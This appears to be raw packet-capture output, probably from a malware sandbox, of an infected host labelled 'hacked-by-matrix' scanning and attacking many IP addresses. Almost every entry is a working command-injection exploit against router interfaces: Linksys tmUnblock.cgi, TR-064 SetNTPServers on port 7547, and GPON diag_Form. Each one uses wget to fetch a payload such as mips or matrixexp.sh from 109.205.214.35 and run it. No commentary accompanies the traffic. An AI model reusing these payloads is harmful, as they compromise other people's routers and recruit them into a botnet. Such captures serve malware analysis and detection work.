Mar 21, 2024 05:22:00.202908993 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:00.294735909 CET	1286	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding Server: cloudflare CF-RAY: 867b288b8e634216-EWR Content-Encoding: gzip Data Raw: 38 33 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c5 58 5b 6f 1b 37 16 7e d7 af 38 e1 02 5a 09 10 35 92 ac d8 8e 34 9a a2 eb b8 88 77 d3 c6 68 1c b4 41 51 18 9c e1 19 89 31 87 9c 92 94 64 c1 eb ff be e0 5c e4 d1 c5 6e 82 dd 45 f5 a0 e1 f5 f0 5c be 73 21 c3 57 6f 3f 5c dc 7c be be 84 85 cb 64 d4 0a 5f 51 fa 9b 48 41 3a b8 ba 84 b3 df 23 08 fd 04 24 92 59 3b 23 4a d3 2f 16 04 9e 82 96 5c 20 01 c9 d4 7c 46 50 d1 4f 1f 49 04 e1 ab df 50 71 91 fe 4e e9 13 a9 8a 0e c0 71 52 67 df 46 ea fc 05 52 e7 df 40 6a ee 2a 6a 7e e0 98 94 87 54 28 dd a5 b4 40 c6 a3 56 e8 84 93 18 bd 15 06 13 07 57 d7 c0 92 04 ad 05 a5 1d 30 29 f5 1a 39 fc 1b 2e a4 5e f2 54 32 83 61 50 6e 68 85 19 3a 06 c9 82 19 8b 6e 46 3e dd fc 40 cf 09 04 f5 c4 c2 b9 9c e2 1f 4b b1 9a 91 0b ad 1c 2a 47 6f 36 39 12 48 ca de 8c 38 bc 77 81 67 7c ba 25 f3 12 95 5f e9 a7 ef e9 85 ce 72 e6 44 2c 9b 84 ae 2e 67 97 7c 8e 8d 7d 8a 65 38 23 46 c7 da d9 c6 42 a5 85 e2 78 df 03 a5 53 ed 85 3b d8 b2 12 b8 ce b5 71 8d 4d 6b c1 dd 62 c6 71 25 12 a4 45 a7 27 94 70 82 49 6a 13 26 71 36 2c a9 48 a1 ee c0 a0 9c 11 eb 36 12 ed 02 d1 11 10 7c 46 92 f4 b6 1c a2 89 b5 04 16 06 d3 19 09 12 ae 68 32 17 41 39 15 64 4c a8 7e 31 1f 44 ad 56 2b b4 89 11 b9 8b 5a 9d 74 a9 12 27 b4 ea 74 1f 44 da e1 3a 59 66 a8 5c 9f 71 7e b9 42 e5 de 0b eb 50 a1 69 b7 d7 42 71 bd ee ff fa e3 fb 77 ce e5 3f e3 1f 4b b4 ae dd fe e7 c7 0f 3f 95 ff 7d eb 8c 50 73 91 6e ba 0f 2b 66 00 67 5b da ac 1c 49 66 5b fa 73 74 97 12 7d f3 1f 9b 2b de 21 68 8c 36 34 45 e4 31 4b ee a8 5d 9a 15 6e 48 b7 c7 bf 61 4b 01 2d d2 ed c5 33 85 6b d8 65 74 ca 66 0f e8 05 9a 90 7a 07 24 52 24 77 c8 49 2f 37 3a 47 e3 04 da c9 43 41 f5 42 73 9c 0c 07 83 93 de 02 65 9e 2e e5 84 f5 56 68 ac d0 6a 32 7c 7c 9c c6 7d 9d a3 ea 90 eb 0f 1f 6f 48 8f 78 1c d9 49 10 d8 9c 19 a3 d7 fd 64 8b e7 7e a2 b3 80 e5 22 58 0d 83 e2 78 d2 9d c6 7d 8b ae 62 eb 1d 32 8e a6 b3 8b e1 1e 61 79 2e 45 c2 bc ee 82 2f 56 ab 67 76 7d 2c cf a3 1f f5 d2 24 48 ff 85 1b d2 23 c9 d9 d9 30 1d e0 38 7e 3d 7e 33 1e c7 18 a7 e3 d1 e9 90 8f c7 31 3f 7b c3 86 48 ba d3 96 27 a6 78 67 d7 6a 1d d6 ed 4e 93 7e e1 e6 de ec 1e 03 9d ad b6 e8 42 70 8e 9e 13 de 58 62 30 d3 2b 3c b2 ea 71 fa 2c 94 3a e4 ed 87 1f 2b 81 df 6b c6 bd 05 1a 28 f4 40 61 5f 6b 75 d2 ed bd 00 aa 2d 57 f1 d2 39 ad e8 06 ed cb 90 da df a0 34 e9 4e c9 56 5c 22 14 b0 76 bb c3 be 46 03 bd e4 88 e4 05 e4 76 c4 c5 ce ab 41 f7 b1 db e3 5f bb 7a d8 7d ec 76 1f bb 8f 8f dd 4e 77 da 0a 83 da 93 6b 9f 06 8e 29 1a b0 26 99 6d 81 99 a3 49 b5 c9 98 4a b0 6f 18 Data Ascii: 836X[o7~8Z54whAQ1d\nE\s!Wo?\\|d_QHA:#$Y;#J/\ \|FPOIPqNqRgFR@jj~T(@VW0)9.^T2aPnh:nF>@KGo69H8wg\|%_rD,.g\|}e8#FBxS;qMkbq%E'pIj&q6,H6\|Fh2A9dL~1DV+Zt'tD:Yf\q~BPiBqw?K?}Psn+fg[If[st}+!h64E1K]nHaK-3ketfz$R$wI/7:GCABse.Vhj2\|\|}oHxId~"Xx}b2ay.E/Vgv},$H#08~=~31?{H'xgjN~BpXb0+<q,:+k(@a_ku-W94NV\"vFvA_z}vNwk)&mIJo

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.14	45580	87.196.140.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.581192017 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:04.734589100 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.14	42074	14.78.219.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.636339903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.14	36778	115.16.229.5	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.636367083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.14	42108	14.78.219.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.926949024 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:02.430653095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:04.190570116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.14	36812	115.16.229.5	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.929497004 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:02.430701971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:04.225398064 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.14	36816	79.118.28.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100559950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.14	56158	5.34.158.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100600004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.14	40342	37.96.243.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100636005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.14	58074	212.218.63.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100646973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.14	54618	118.201.65.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100682974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.14	49156	79.62.59.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100739002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.14	54758	178.62.7.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100771904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.14	40574	79.231.38.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100810051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.14	43792	2.103.251.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100831032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.14	56252	42.8.59.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:01.100860119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.14	41070	118.55.93.252	443

Timestamp	Bytes transferred	Direction	Data
